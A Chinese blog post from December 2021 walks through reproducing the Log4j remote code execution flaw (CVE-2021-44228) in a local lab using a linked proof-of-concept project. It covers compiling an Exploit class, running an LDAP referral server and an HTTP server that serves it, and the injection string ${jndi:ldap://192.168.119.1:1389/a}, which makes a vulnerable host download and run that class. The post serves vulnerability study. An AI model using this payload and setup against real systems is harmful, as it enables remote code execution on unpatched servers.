Log4j远程代码执行漏洞(CVE-2021-44228)漏洞复现

基本信息

漏洞编号:CVE-2021-44228
影响版本:2.x<=2.15.0-rc1
poc地址:https://gitee.com/lcosmos/apache-log4j-poc
在此十分感谢我的寝室长Cosmos提供的poc和技术支持。

原理简述

当log4j打印的日志内容中包含${jndi:ldap://my-ip}时,程序就会通过ldap协议访问my-ip这个地址,然后my-ip就会返回一个包含java代码的class文件的地址,然后程序再通过返回的地址下载class文件并执行。

漏洞复现

首先安装maven依赖,并配置环境变量。安装方法请参考:https://jingyan.baidu.com/article/e4d08ffde8d4b24fd2f60dce.html

安装后执行mvn --version,如果出现版本信息则说明安装成功,如下图所示:

在这里插入图片描述

然后更换maven源,因为poc所需要的依赖需要通过maven下载,更换成国内的源可以大大提高下载速度,更换源的方法可以参考:https://www.cnblogs.com/c2g5201314/p/14399714.html

然后用ide打开poc项目,在Exploit.java中写入要执行的命令,如下图所示:

在这里插入图片描述

然后通过javac命令将Exploit.java编译成class文件。

cd src/main/java 
javac Exploit.java

在这里插入图片描述

需要配置一下LDAPRefServer文件,该文件的作用就是启动一个LDAP服务。如下图所示1389就是LDAP服务的端口,http://192.168.119.1:8099/#Exploit就是class文件的地址。

上面class文件地址中#号必须加上,文件的class后缀需要省略。LDAP服务返回http://192.168.119.1:8099/#Exploit就是让靶机去http://192.168.119.1:8099下载Exploit.class文件并执行。

在这里插入图片描述

然后点击依次右边的Maven和compile,这会自动下载所需的依赖包。等待下载完依赖后就点击LDAPRefServer.java文件中的小三角图形启动LDAP服务。

在这里插入图片描述

然后来到Exploit.class文件所在目录下执行python -m http.server 8099启动http服务,也可以用其他方法,只要提供一个能下载Exploit.class的http服务即可。

注意http服务ip和端口要与LDAPRefServer.java文件中ip和端口对应。

在这里插入图片描述

然后运行Log4j.java文件,这个文件执行内容是通过log4j框架打印日志${jndi:ldap://192.168.119.1:1389/a},其中192.168.119.1:1389是lDAP服务的ip地址和端口。然后就会发现命令执行成功了。

在这里插入图片描述

参考文献

https://gitee.com/lcosmos/apache-log4j-poc/blob/master/README.md

https://jingyan.baidu.com/article/e4d08ffde8d4b24fd2f60dce.html

https://www.cnblogs.com/c2g5201314/p/14399714.html

posted @ 2021-12-11 01:10  rpsate  阅读(238)  评论(0编辑  收藏  举报